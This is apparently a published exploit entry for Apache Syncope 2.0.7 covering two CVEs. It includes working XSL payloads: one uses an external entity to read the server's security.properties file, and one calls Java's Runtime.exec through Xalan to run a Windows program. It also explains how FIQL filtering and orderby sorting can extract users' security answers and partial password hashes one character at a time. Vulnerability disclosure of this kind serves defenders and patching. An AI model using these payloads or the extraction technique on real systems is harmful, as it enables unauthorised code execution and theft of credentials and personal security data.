Apache Syncope 2.0.7 Remote Code Execution

`# Exploit Title: Apache Syncope 2.0.7 - Remote Code Execution  
# Date: 2018-09-12  
# Exploit Author: Che-Chun Kuo  
# Vendor Homepage: https://syncope.apache.org/  
# Software Link: http://archive.apache.org/dist/syncope/  
# Version: 2.0.7  
# Tested on: Windows  
# Advisory: https://syncope.apache.org/security  
# CVE: CVE-2018-1321, CVE-2018-1322  
  
# Vulnerability 1: Remote code execution by users with report and template privileges  
# Description: A user with access to the Reports and Templates functionality can use XSL Transformations (XSLT)   
# to perform malicious operations, including but not limited to file read, file write, and code execution.   
  
# Apache Syncope uses XSLT to export report data into various formats. An attacker can perform malicious   
# operations by crafting a XSL template, binding the template to a report, executing, then exporting the report.   
# The following XSL can be used to read the Syncope security.properties file or execute the Windows   
# calc program, respectively.   
  
READ security.properties file  
-------------------------------------------  
<?xml version="1.0" encoding="ISO-8859-1"?>  
<!DOCTYPE xsl:stylesheet [<!ENTITY file SYSTEM "..\webapps\syncope\WEB-INF\classes\security.properties">]>  
<xsl:stylesheet version="1.0"   
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:template match="/">&file;</xsl:template>  
</xsl:stylesheet>  
  
EXECUTE Windows calc program  
-------------------------------------------  
<xsl:stylesheet version="1.0"   
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"  
xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"  
xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process">  
<xsl:variable name="rtobject" select="runtime:getRuntime()"/>  
<xsl:variable name="process" select="runtime:exec($rtobject,'calc')"/>  
<xsl:variable name="waiting" select="process:waitFor($process)"/>  
<xsl:value-of select="$process"/>  
</xsl:stylesheet>  
  
# Vulnerability 2: Information disclosure via FIQL and ORDER BY sorting  
# Description: A user with entitlements to the /syncope/rest/users endpoint can recover sensitive   
# security values using the fiql and orderby parameters.   
  
# By default, Apache Syncope prevents sensitive values from being returned when querying   
# the /syncope/rest/users endpoint. Fields such as securityAnswers or password will always return null.   
# However the results returned can be filtered or sorted based on sensitive fields. By measuring how   
# the results are returned the values of the desired fields can be successfully recovered. The fiql parameter   
# can be used to recover full security answers, and the orderby parameter can be used to recover   
# full security answers and partial information about password hashes.   
  
# The fiql parameter allows filtering based on user attributes, including a user's security answer.   
# By using FIQL filters (i.e. "securityAnswer==a*", "securityAnswer==b*", etc...) a user's   
# securityAnswer can be recovered one letter at a time.   
  
# The orderby parameter allows sorting based on user attributes, including a user's security   
# answer and password. The following example shows how orderby sorting can be exploited.   
  
# User Bob exists with the security answer "test". A malicious user creates a user Alice with the   
# security answer "ta". The malicious actor then calls the /syncope/rest/users endpoint with orderby=securityAnswer".  
# By sorting using the "securityAnswer" attribute, the result will have Alice sorted ahead of Bob,   
# due to the value "ta" being before the value "test". By sequentially changing Alice's security   
# question and comparing the sorted result, Bob's security answer can be recovered one letter   
# at a time. A similar technique can be used to reveal partial information about user password hashes.  
  
Orderby Example Results:   
Alice's security answer, Order of results returned  
ta, [Alice, Bob]  
tb, [Alice, Bob]  
tc, [Alice, Bob]  
td, [Alice, Bob]  
te, [Alice, Bob]  
tf, [Bob, Alice]  
tea, [Alice, Bob]  
teb, [Alice, Bob]  
  
  
`